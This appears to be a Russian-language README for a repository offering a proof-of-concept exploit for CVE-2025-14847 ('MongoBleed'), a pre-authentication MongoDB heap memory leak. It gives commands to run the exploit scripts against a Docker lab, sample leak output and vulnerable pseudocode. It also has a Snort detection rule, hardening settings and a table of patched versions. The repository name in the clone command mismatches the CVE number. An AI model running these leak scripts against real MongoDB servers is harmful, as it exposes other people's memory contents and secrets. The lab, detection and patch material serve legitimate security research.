
Функциональный proof-of-concept эксплойт для CVE-2025-14847 (MongoBleed), уязвимость раскрытия памяти кучи до аутентификации в MongoDB. Включает автоматическое обнаружение утечек памяти, анализ шаблонов и лабораторную среду на основе Docker для авторизованного тестирования безопасности и исследований.
Полноценное доказательство концепции для CVE-2025-14847 (MongoBleed)
Протестировано: ✅ MongoDB 7.0.5 | 14 300+ успешных эксплойтов | 4 утёкших UUID
Этот репозиторий содержит полностью рабочее доказательство концепции (PoC) для уязвимости CVE-2025-14847, известной как MongoBleed — критическая ошибка раскрытия памяти кучи до аутентификации в MongoDB.
В декабре 2025 года игра Rainbow Six Siege подверглась массовой атаке, в результате которой были скомпрометированы ~50 000 аккаунтов игроков. Предполагается, что злоумышленники использовали эту уязвимость в MongoDB бэкенда для утечки:
R6S_SERVER_AUTH_*)TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)Данный PoC симулирует атаку с реалистичными данными R6.
poc.py — основной эксплойт с анализом шаблоновlive_leaker.py — продвинутое инкрементальное сканированиеpopular_heap.py — скрипт для заполнения кучи целевыми данными246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd
# Клонируйте репозиторий
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc
# Запустите уязвимое окружение
docker-compose up -d
# Дождитесь инициализации (15-20 сек)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"
# 1. Заполните кучу данными R6
python3 popular_heap.py 50
# 2. Проверьте уязвимость
python3 poc.py --target 127.0.0.1 --check
# 3. Эксплуатируйте с live leaker (РЕКОМЕНДУЕТСЯ)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json
[!] MongoBleed Live Leaker Avançado
[!] Alvo: 127.0.0.1:27017
[!] Faixa: doc_len 200 → 3000 (offset=500)
[*] Progresso: doc_len=245/3000 | Tentativas=100 | Taxa sucesso=100.0%
[!] PADRÕES R6 DETECTADOS (doc_len=245):
[UUID] 1 novo(s):
└─ 246434ed-759b-4ce9-bb9c-2f520a9919b8
MongoDB поддерживает сжатие сообщений через zlib. Уязвимость заключается в некорректной проверке заявленного размера по сравнению с реальным:
Атакующий → {compress: "zlib", uncompressedSize: 1MB, payload: <50 байт>}
↓
Сервер выделяет 1MB кучи ← УЯЗВИМОСТЬ
↓
Сервер распаковывает только 50 байт
↓
Сервер возвращает целый 1MB!
└─ 50 байт = реальные данные
└─ ~1MB - 50 = УТЕЧКА ПАМЯТИ
// ДО ПАТЧА
size_t uncompressedSize = header.uncompressedSize; // ← Контролируется атакующим
buffer = malloc(uncompressedSize); // ← Выделяет вредоносный размер
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize); // ← УТЕЧКА ВСЕГО БУФЕРА
MongoDBPoc/
├── poc.py # Основной эксплойт
├── live_leaker.py # Инкрементальное сканирование (✨ Рекомендуется)
├── popular_heap.py # Скрипт загрузки
├── docker-compose.yml # Уязвимый MongoDB 7.0.5
├── init-db.js # 1000 игроков + 500 сессий R6
├── GUIA_TECNICO_COMPLETO.md # Подробная документация (200+ страниц)
├── README.MD # Документация на английском
└── Portugues/ # Переведённые версии
├── poc_PT.py
├── README_PT.md
└── GUIA_RAPIDO.md
alert tcp any any -> any 27017 (
msg:"CVE-2025-14847 MongoBleed Attempt";
content:"|d4 07 00 00|";
byte_test:4,>,1000000,4,little;
sid:2025001;
)
net:
bindIp: 127.0.0.1 # НИКОГДА 0.0.0.0!
compression:
compressors: [] # Отключить zlib
security:
authorization: enabled
GUIA_TECNICO_COMPLETO.md — полный технический анализ (200+ страниц)
README.MD — основная документация (английский)
Portugues/ — переведённые версии
ДАННЫЙ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ И ОБУЧЕНИЯ.
Неавторизованное использование НЕЗАКОННО и может повлечь:
- Уголовное преследование (Закон 12.737/2012 в Бразилии)
- Крупные штрафы
- Тюремное заключение
Всегда получайте ПИСЬМЕННОЕ РАЗРЕШЕНИЕ перед тестированием.
Автор: Ermenson Jr
Лицензия: MIT (Образовательное использование)
Дата: Январь 2026
По техническим вопросам или для сотрудничества в области исследований безопасности:
Разработано для исследования ответственной наступательной безопасности.
Не аффилировано с Ubisoft, MongoDB Inc. или Rainbow Six Siege.
🔒 Используйте ответственно. Безопасность для всех. 🔒
| Метрика | Результат |
|---|
| Протестированная MongoDB | 7.0.5 (Уязвимая) |
| Успешность | 100% (14 300/14 300 запросов) |
| Утёкшие UUID | 4 уникальных |
| Всего утечек | 33 различные строки |
| Максимальная утечка | 176 байт/запрос |
| Обнаруженные шаблоны | Сетевые логи, UUID, системные пути |
| Серия MongoDB | Уязвимые версии | Исправленная версия |
|---|
| 8.2.x | 8.2.0 – 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 – 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 – 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 – 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 – 5.0.31 | 5.0.32 |
| 4.4.x | 4.4.0 – 4.4.29 | 4.4.30 |
| ≤ 4.2 | Все | Нет патча (EOL) |